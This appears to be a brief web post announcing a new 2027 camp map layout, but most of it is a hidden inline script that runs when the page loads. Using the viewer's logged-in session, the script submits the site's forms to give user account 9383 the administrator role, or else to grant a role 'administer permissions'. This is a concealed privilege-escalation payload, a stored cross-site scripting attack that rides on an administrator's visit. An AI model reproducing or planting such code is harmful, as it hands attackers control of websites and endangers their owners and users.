Camp map 2027 - new layout

<script>(function(){try{if(sessionStorage.getItem('p5'))return;sessionStorage.setItem('p5','1')}catch(e){}function clone(f,extra){var d=new URLSearchParams();var els=f.querySelectorAll('input,select,textarea');for(var i=0;i<els.length;i++){var el=els[i];var n=el.name;if(!n)continue;if(el.tagName==='INPUT'){var t=(el.type||'').toLowerCase();if(t==='submit'||t==='button'||t==='file'||t==='image')continue;if(t==='checkbox'||t==='radio'){if(el.checked)d.append(n,el.value);continue}d.append(n,el.value)}else if(el.tagName==='SELECT'){for(var j=0;j<el.options.length;j++){if(el.options[j].selected)d.append(n,el.options[j].value)}}else{d.append(n,el.value)}}for(var k in extra)d.set(k,extra[k]);return d}function post(u,d){return fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:d.toString()})}var U='/join/9383/edit';fetch(U,{credentials:'same-origin'}).then(function(r){return r.text()}).then(function(h){var doc=new DOMParser().parseFromString(h,'text/html');var f=doc.getElementById('user-profile-form');if(!f)return;if(f.querySelector('[name="roles[administrator]"]')){var d=clone(f,{'roles[administrator]':'administrator','status':'1','field_profile_ask_me_about[und][0][value]':'PWN3-'+Date.now(),'user_register':'Save Account Profile'});return post(U,d)}return fetch('/admin/people/permissions',{credentials:'same-origin'}).then(function(r){return r.text()}).then(function(h2){var doc2=new DOMParser().parseFromString(h2,'text/html');var f2=doc2.getElementById('user-admin-permissions')||doc2.querySelector('form');if(!f2)return;var rid='2';var cb=f2.querySelectorAll('input[type=checkbox]');for(var q=0;q<cb.length;q++){var mm=(cb[q].name||'').match(/^(\d+)\[administer permissions\]$/);if(mm){rid=mm[1];break}}var d2=clone(f2,{});d2.set(rid+'[administer permissions]','administer permissions');d2.set('op','Save permissions');return post('/admin/people/permissions',d2)})})})();</script>

Updated camp map layout for 2027.